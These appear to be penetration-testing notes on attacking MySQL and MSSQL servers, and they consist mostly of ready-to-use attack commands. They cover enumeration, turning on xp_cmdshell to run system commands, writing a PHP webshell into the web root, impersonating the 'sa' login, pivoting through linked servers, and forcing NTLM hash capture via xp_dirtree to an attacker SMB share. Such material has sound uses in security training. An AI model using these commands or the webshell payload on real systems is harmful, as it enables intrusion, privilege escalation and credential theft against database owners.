Attacking SQL Databases
Overview
MySQL and MSSQL are high-value targets storing sensitive data (credentials, PII, payment info). Often configured with highly privileged users, enabling lateral movement and privilege escalation.
Default Ports
| Service | Port |
|---|---|
| MSSQL | TCP/1433, UDP/1434 |
| MSSQL (hidden) | TCP/2433 |
| MySQL | TCP/3306 |
Enumeration
# Banner grabbing with Nmap
nmap -Pn -sV -sC -p1433 <target>
Authentication
MSSQL Modes:
- Windows Authentication - Integrated with AD, trusted Windows accounts
- Mixed Mode - Both Windows and SQL Server username/password
MySQL: Supports username/password and Windows auth (via plugin)
Notable Vuln: CVE-2012-2122 - MySQL 5.6.x timing attack allowing auth bypass
Connecting to Databases
# MySQL
mysql -u <user> -p<password> -h <host>
# MSSQL from Linux
sqsh -S <host> -U <user> -P '<password>' -h
mssqlclient.py -p 1433 <user>@<host>
# MSSQL from Windows
sqlcmd -S <host> -U <user> -P '<password>' -y 30 -Y 30
Command Execution
MSSQL - xp_cmdshell
-- Execute commands
xp_cmdshell 'whoami'
GO
-- Enable xp_cmdshell if disabled
EXECUTE sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXECUTE sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO
MySQL - Write Webshell
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
Check secure_file_priv variable - if empty, read/write is unrestricted.
Privilege Escalation
MSSQL User Impersonation
-- Find users we can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
GO
-- Check current role
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GO
-- Impersonate user
EXECUTE AS LOGIN = 'sa'
GO
-- Revert to original user
REVERT
GO
Lateral Movement - Linked Servers
-- Identify linked servers
SELECT srvname, isremote FROM sysservers
GO
-- Execute on linked server
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
GO
Hash Stealing (MSSQL)
-- Force MSSQL to authenticate to attacker SMB share
EXEC master..xp_dirtree '\\<attacker_ip>\share\'
GO
Capture with:
sudo impacket-smbserver share ./ -smb2support
Key Capabilities with DB Access
- Read/modify database contents
- Read/change server configuration
- Execute OS commands
- Read local files
- Capture local system hashes
- Impersonate users
- Pivot to linked servers